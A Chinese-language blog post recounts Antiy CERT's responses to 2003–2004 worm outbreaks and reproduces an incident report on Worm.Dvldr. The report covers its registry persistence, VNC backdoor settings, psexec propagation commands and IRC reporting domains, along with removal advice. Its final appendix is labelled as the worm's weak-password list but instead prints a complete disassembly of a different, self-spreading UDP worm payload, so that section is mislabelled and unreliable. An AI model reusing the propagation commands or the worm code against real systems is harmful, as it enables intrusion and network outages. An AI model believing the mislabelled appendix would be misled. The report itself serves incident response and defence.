应急之魂-时间与人的故事(续)
作者 billy | 2009-12-11 10:37 | 类型 行业动感 | Comments Off
2)2003年3月8日,口令蠕虫 这是两台笨重、老旧的刀片服务器,也是VDS网络病毒监控系统的雏形,2002年12月18日起,他们就悄然的运行于中国教育科研网黑龙江主节点,并由哈工大-安天联合CERT小组进行值守。 2003年3月8日正是这两台设备发出了针对口令蠕虫的最早预警。 8时15分,445端口扫描数量突增和PE文件传输数量的异常增长,引发了正在观测VDS系统的反病毒引擎组组长李柏松的注意,30分钟后,他在用户单位的配合下,提取了最早的病毒样本。分析结果很快产生,这是一个基于口令破解进行远程投放的蠕虫,发包能力极强,同时遗留了一个带有密码的后门。 事态严重,9时整,安天工程师拨通了CNCERT/CC的值班电话,CNCERT要求安天做出进一步的分析响应处理,并提供病毒感染程度的普查手段。 [李柏松]:我们接到任务后立即讨论,确立方案,决定就利用这个蠕虫遗留的VNC后门密码作为扫描判定条件,VNC是采用3DES的算法,我们很快找到了密钥,从密文还原出了明文密码是sticks。之后我们为安管中心开发了轻载扫描程序,启动了多台服务器,每台开放2048个线程进行并发轻载扫描验证。 此时,病毒仍在多所大学肆虐,安天CERT收到了多个大学网管中心的求助,为了快速的遏制大量无管理主机,安天开发了一套远程投放的疫苗,并由多所大学的网络中心向校内无管理主机进行了投放,扑灭了校园网的多处疫情。 此后的三周内,安天承担了配合有关部门检测病毒来源的艰苦排查工作,确定了该病毒全球最早传播的时间为凌晨2:20分,确定了中国第一个被感染的节点位于东北农业大学,最终依据大量事实作出了病毒源于境外某地的结论。
这张中国病毒疫情分布图,抓取于2004年5月1日凌晨,深红色的大面积分布说说明了震荡波病毒的严重程度。 当时安天CERT已经成为了一支疲惫之师,之前的大量分析任务,让他们连续超负荷运转十多天。除了加班值守的干部,多数工程师正在放假回家的旅程中。 [肖新光:]之前一周安天CERT分析了大量的样本,非常疲惫,是希望大家好好休整的,但到1日下午3点,我不得不做出紧急召回主要骨干的决定. 5月1日深夜,在完成了分析报告、专杀程序、应急处理预案后一个大胆的猜测在关联分析中形成了——即震荡波病毒与此前已经流行数月的网络天空病毒作者相同,尽管他们一个依靠漏洞传播、一个依靠邮件传播。5月2日安天找到了可靠的证据来证实自己的观点,并进一步判断作者位于德国。5月6日,病毒作者在德国被捕,安天的判断得到了证实。
哈工大——安天联合Cert小组 紧急蠕虫Worm.Dvldr事态分析报告 首次发布时间:2003-03-08 17:20 最近更新时间:2003-03-10 12:28 最后更新次数:第14次 一、 基本情况说明 2003年3月8日,哈工大–安天联合CERT小组,在位于中国电信、中国教育网的多个监控节点均发现网络异常,网络速度非常缓慢,特别是教育网内非常严重,异常表现如下: 1、监控节点监控到若干个节点对大量目标地址发送端口为TCP 445的包。 2、每一个异常节点向连续的IP地址发包。 在第一批次锁定了7台问题主机后,经过反向检测,初步发现发包机器有如下共性: 1、系统为Windows 系统。 2、系统开放了AT&T VNC远程管理的5800和5900端口。 3、系统超级用户管理员密码为空。 我们及时与多台目标主机管理人员联系,并进行了系统取证。 初步检测结果如下: 通过Antiy Port 1.2观测——system目录下,一个名为dvldr32.exe的可执行程序,发出大量目标端口为445的数据包。目标IP为连续IP地址。 %windir%/fonts目录下一个名为RUNdll32.exe的程序,也由网络行为。 另外发现若干异常文件和异常注册表键值: 当前态势——目前,受到影响比较严重的是教育网,部分院校网络接近瘫痪。(截至到2003年3月9日14:00,对骨干网络速度也有一定影响) 二、 分析报告 系统分析*可能的异常文件列表: 说明: *:由于传播机理问题,dvldr32.exe可能投送失败,不出现在目标主机中。如果Dvldr32.exe投送失败,则psexec.exe不会出现。 **:这不是一个恶意程序,一些其他的移植自UNIX平台的程序可能使用本连接库。 ***只有在英文系统下才会出现。 ****不是必然出现。 系统分析*可能的注册表修改: REGEDIT4 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] “TaskMan”=”C:\\WINNT\\Fonts\\rundll32.exe” “Explorer”=”C:\\WINNT\\Fonts\\explorer.exe”* “messnger”=”C:\\WINNT\\system32\\Dvldr32.exe”** [HKEY_CURRENT_USER\Software\ORL] [HKEY_CURRENT_USER\Software\ORL\WinVNC3] “SocketConnect”=dword:00000001 “AutoPortSelect”=dword:00000001 “InputsEnabled”=dword:00000001 “LocalInputsDisabled”=dword:00000000 “IdleTimeout”=dword:00000000 “QuerySetting”=dword:00000002 “QueryTimeout”=dword:0000000a “Password”=hex:[此处我们做了屏蔽]*** “PollUnderCursor”=dword:00000001 “PollForeground”=dword:00000001 “PollFullScreen”=dword:00000001 “OnlyPollConsole”=dword:00000001 “OnlyPollOnEvent”=dword:00000001 [HKEY_CURRENT_USER\Software\ORL\VNCHooks] [HKEY_CURRENT_USER\Software\ORL\VNCHooks\Application_Prefs] [HKEY_CURRENT_USER\Software\ORL\VNCHooks\Application_Prefs\EXPLORER.EXE] 说明: *由于此文件由一个不常见的安装工具制作的安装包释放,对这个工具我们还没有完全分析完毕,但我们发现有的感染系统此键值有所不同。 **如果Dvldr32.exe投送失败,此健值不会出现 ***VNC使用3DES加密,我们已经破解了密码,但是为了避免恶意行为,我们对此作了屏蔽。 系统分析*后门: 该程序将正常系统管理工作VNC作为后门,安装到用户系统下,通过修改配置,使VNC SERVER图标不在托盘中出现,不过由于VNC在系统锁定状态下不能连接,因此功能有所折扣。 但由于该蠕虫有通知机制(见“程序分析*功能分析”部分),即使VNC实效,等于已经告知了蠕虫作者,用户密码为空,或者在小字典档(见文末附录“蠕虫用于穷举的弱口令列表”)内。仍然可以导致入侵。 程序分析*基本说明 dvldr32.exe,采用ASPASK压缩,该程序由MS VC 6.0编写。 该文件中以资源的形势,包含了2个可执行文件,其中一个为sysinternals所发布的著名行命令网络工具psexec(psexec本身包含一个名为psexesvc的程序,此前版本分析报告有误),蠕虫的制作者使用了最新版本的psexec.exe(Ver 1.31.0.0),但采用了UPX进行压缩,使文件大小从122,880字节缩小到了36,352字节。 以下引号中斜体部分为,原来版本错误地说明: “3个可执行程序,其中两个2个为:sysinternals所发布的行命令工具,分别是:psexesvc和Remote process launcher。从作者的意图上看,这两个工具并不希望保留在文件系统中,主要是留给dvldr32.exe自己调用。” 另外一个程序为一个不常见安装工具所制作的安装包,该安装包中包括5个文件,其中3个文件(explorer.exe;VNCHooks.dll;omnithread_rt.dll)属于AT&T所发布的网管工具VNC, nc的3.3.3.9版本)。另外两个文件则是,rundll32.exe、cygwin1.dll。其中cygwin1.dll由red hat发布,名称是Cygwin® POSIX Emulation DLL。用以对Linux移植到Windows下的程序进行支持。 文件之间调用关系如下: explorer.exe ├VNCHooks.dll └omnithread_rt.dll rundll32.exe └cygwin1.dll 我们可以看出,对于explorer.exe;VNCHooks.dll;omnithread_rt.dll由于是VNC的一部分,已经无需分析,而网络上对于sysinternals的psexesvc和Remote process launcher的使用介绍也已经很多。cygwin1.dll是一个正常的动态连接库也无须分析。主要应该分析的是dvldr32.exe的执行部分和rundll32.exe。 程序分析*功能分析 dvldr32.exe: 分析样本: Dvldr32.exe (745,984 bytes ) 2003-3-7 2:20 压缩方法: aspack 还原样本:Dvldr32(unpacked).ExE ( 802,816 bytes) 相关程序: ps_exec.exe (122,880 bytes) 分析工具: IDA、OllyDebug 程序流程: WinMain Begin … call sub_40225A ; 设置当前目录为启动文件夹 call sub_4021ED ; 对于2K/XP系统启动WSA test eax, eax jnz short loc_402018 ; 成功,转 … ; ret … WinMain End loc_402018: call sub_401F77 ; 分配内存 … call sub_4022E3 ; 加载Netapi32_dll … call sub_4022B4 ; 建立互斥体,防止重复运行 … call sub_402334 ; 将自身写入注册表Software\Microsoft\Windows\CurrentVersion\Run项 loc_402039: call sub_402100 ; 建立/启动扫描线程 jmp short loc_402039 ; 死循环 线程loc_4028A0: 扫描随机生成的ip段,试图连接; 两个扫描线程分别Sleep 600000. ms 、100.ms; 连接成功,执行 psexec.exe %s -u %s -p “” -d attrib.exe -r inst.exe 将目标文件只读属性去掉; 再执行psexec.exe %s -u %s -p “” -f -c -d inst.exe” 将本地程序复制到远程主机。 该程序运行后,会随机选择2个IP段,连接对方445的网络包,一旦连接成功,则用自身一份字典列表(见文末附录“蠕虫用于穷举的弱口令列表”)穷举对方超级用户口令,一旦破解成功,则将自身复制到目标系统中。 这个程序除了主要来实施发包进行网络感染操作。其大量的发包,也是造成网络瘫痪的主要原因。 感染操作需要特别说明一下,这个程序远程投送两个文件其自身和inst.exe,其提供了两种投送方式,一种是通过psexec命令,一种是通过网络共享copy。通过,psexec命令,可以完成文件copy和在远程主机的执行,但有可能投送失败。其对inst.exe还通过网络路径copy到英文windows的启动组下,使开机被执行,因此,inst.exe投送的成功率要比dvldr32.exe更高。这就造成几种情况,从而导致对目标系统的影响有所不同。在此前版本分析报告中对此的说明不够清晰。 一些感染的主机,只发现了rundll32.exe而没有发现dvldr32.exe正是上述原因。 rundll32.exe不是正常的MS系统的RUNDLL32,似乎为一个LINUX移植到WINDOWS平台的程序,目前已经可以分析出该程序的主要功能是,向一个irc列表汇报已经感染主机的信息。 IRC列表如下: cocket.nailed.org cocket.mooo.com cocket.bounceme.net cocket.phathookups.com cocket.gotdns.com cocket.ma.cx cocket.orgdns.org cocket.minidns.net cocket.dyn.nicolas.cx cocket.dynup.net cocket.pokemonfan.org cocket.staticcling.org cocket.getmyip.com 用户处理*手工处理 NT/2K用户应该为Administrator设置一个强壮的密码,至少不能在蠕虫的密码档(见文末附录“蠕虫用于穷举的弱口令列表”)中,之后采用AntiyPort http://www.antiy.com/service/antiyports.exe 或其他进程管理工具,找到以下三个进程: %windir%system32/dvldr32.exe %windir%/fonts/rundll32.exe %windir%/fonts/explorer.exe 中止对应的三个进程,之后删除掉“系统分析*文件列表”中的所有对应文件,最后重新启动机器。 用户处理*专杀工具 即使采用专杀工具,也需要首先为Administrator设置一个强壮的密码。否则再次被其他感染节点扫描时,仍然会被感染。 哈工大——安天联合Cert小组已经发布Worm.DvLdr免费专杀工具1.001版, 中文版:http://www.antiy.com/cert/killdvldr.exe 英文版:http://www.antiy.net/download/killdvldr.exe 网络管理对策: 如下情况表明网络用户已经被感染, 大量的目标端口为TCP 445的通讯,或者目标地址在上述列表内的mIRC通讯,(目标端口6667)。 网管可以在路由或者防火墙上,双向关闭445端口,以临时避免内网被感染,或者内网感染的主机对外传播。 网管确定目标后,可以到目标上通过我们提供的专杀工具处理。 如果网管由于特殊原因不能在问题主机本地处理,可以使用Worm.DvLdr免费专杀工具特别版本。这是一个无需用户点确认就直接处理的版本。网管可以自己参考我们上面介绍的这个蠕虫的投送方式,对自己管理范围内的机器投送杀毒程序。我们自己不能提供投送手段,否则会被不法分子利用。 特别提醒用户:无论动机如何,必须合法的使用网络资源。出于善意,为不在自己管辖权力范围的内主机清除病毒,也不能称为合法行为。 特别版:http://www.antiy.com/cert/rkilldvldr.exe 进一步响应消息: 我小组将继续关注态势进展,在www.Antiy.com上发布更加详细的代码分析报告。 安天实验室已经在北京时间2003年3月9日上午10点更新Antiy Ghostbusters病毒库升级文件包。 http://www.antiy.net/ghostbusters/agb_base.msp 用户可以直接下载,或者通过Antiy Live在线升级。 所有Antiy Ghostbusters捉鬼队用户,可以下载此单独库文件 http://www.antiy.com/update/ex.gbl (默认路径为:C:\Program Files\Antiy Labs\Antiy Ghostbusters)覆盖同名病毒库文件,就可以检测此蠕虫。 结合专杀工具,能够取得更好效果。
附:口令蠕虫用于穷举的弱口令列表: by Antiy Labs Cert :00000000 68DCC9B042 push 42B0C9DC :00000005 B801010101 mov eax, 01010101 :0000000A 31C9 xor ecx, ecx :0000000C B118 mov cl, 18 :0000000E 50 push eax :0000000F E2FD loop 0000000E :00000011 3501010105 xor eax, 05010101 :00000016 50 push eax :00000017 89E5 mov ebp, esp :00000019 51 push ecx :0000001A 682E646C6C push 6C6C642E :0000001F 68656C3332 push 32336C65 :00000024 686B65726E push 6E72656B :00000029 51 push ecx :0000002A 686F756E74 push 746E756F :0000002F 6869636B43 push 436B6369 :00000034 6847657454 push 54746547 :00000039 66B96C6C mov cx, 6C6C :0000003D 51 push ecx :0000003E 6833322E64 push 642E3233 :00000043 687773325F push 5F327377 :00000048 66B96574 mov cx, 7465 :0000004C 51 push ecx :0000004D 68736F636B push 6B636F73 :00000052 66B9746F mov cx, 6F74 :00000056 51 push ecx :00000057 6873656E64 push 646E6573 :0000005C BE1810AE42 mov esi, 42AE1018 :00000061 8D45D4 lea eax, dword ptr [ebp-2C] :00000064 50 push eax :00000065 FF16 call dword ptr [esi] :00000067 50 push eax :00000068 8D45E0 lea eax, dword ptr [ebp-20] :0000006B 50 push eax :0000006C 8D45F0 lea eax, dword ptr [ebp-10] :0000006F 50 push eax :00000070 FF16 call dword ptr [esi] :00000072 50 push eax :00000073 BE1010AE42 mov esi, 42AE1010 :00000078 8B1E mov ebx, dword ptr [esi] :0000007A 8B03 mov eax, dword ptr [ebx] :0000007C 3D558BEC51 cmp eax, 51EC8B55 :00000081 7405 je 00000088 :00000083 BE1C10AE42 mov esi, 42AE101C :00000088 FF16 call dword ptr [esi] :0000008A FFD0 call eax :0000008C 31C9 xor ecx, ecx :0000008E 51 push ecx :0000008F 51 push ecx :00000090 50 push eax :00000091 81F10301049B xor ecx, 9B040103 :00000097 81F101010101 xor ecx, 01010101 :0000009D 51 push ecx :0000009E 8D45CC lea eax, dword ptr [ebp-34] :000000A1 50 push eax :000000A2 8B45C0 mov eax, dword ptr [ebp-40] :000000A5 50 push eax :000000A6 FF16 call dword ptr [esi] :000000A8 6A11 push 00000011 :000000AA 6A02 push 00000002 :000000AC 6A02 push 00000002 :000000AE FFD0 call eax :000000B0 50 push eax :000000B1 8D45C4 lea eax, dword ptr [ebp-3C] :000000B4 50 push eax :000000B5 8B45C0 mov eax, dword ptr [ebp-40] :000000B8 50 push eax :000000B9 FF16 call dword ptr [esi] :000000BB 89C6 mov esi, eax :000000BD 09DB or ebx, ebx :000000BF 81F33C61D9FF xor ebx, FFD9613C :000000C5 8B45B4 mov eax, dword ptr [ebp-4C] :000000C8 8D0C40 lea ecx, dword ptr [eax+2*eax] :000000CB 8D1488 lea edx, dword ptr [eax+4*ecx] :000000CE C1E204 shl edx, 04 :000000D1 01C2 add edx, eax :000000D3 C1E208 shl edx, 08 :000000D6 29C2 sub edx, eax :000000D8 8D0490 lea eax, dword ptr [eax+4*edx] :000000DB 01D8 add eax, ebx :000000DD 8945B4 mov dword ptr [ebp-4C], eax :000000E0 6A10 push 00000010 :000000E2 8D45B0 lea eax, dword ptr [ebp-50] :000000E5 50 push eax :000000E6 31C9 xor ecx, ecx :000000E8 51 push ecx :000000E9 6681F17801 xor cx, 0178 :000000EE 51 push ecx :000000EF 8D4503 lea eax, dword ptr [ebp+03] :000000F2 50 push eax :000000F3 8B45AC mov eax, dword ptr [ebp-54] :000000F6 50 push eax :000000F7 FFD6 call esi :000000F9 EBCA jmp 000000C5 | |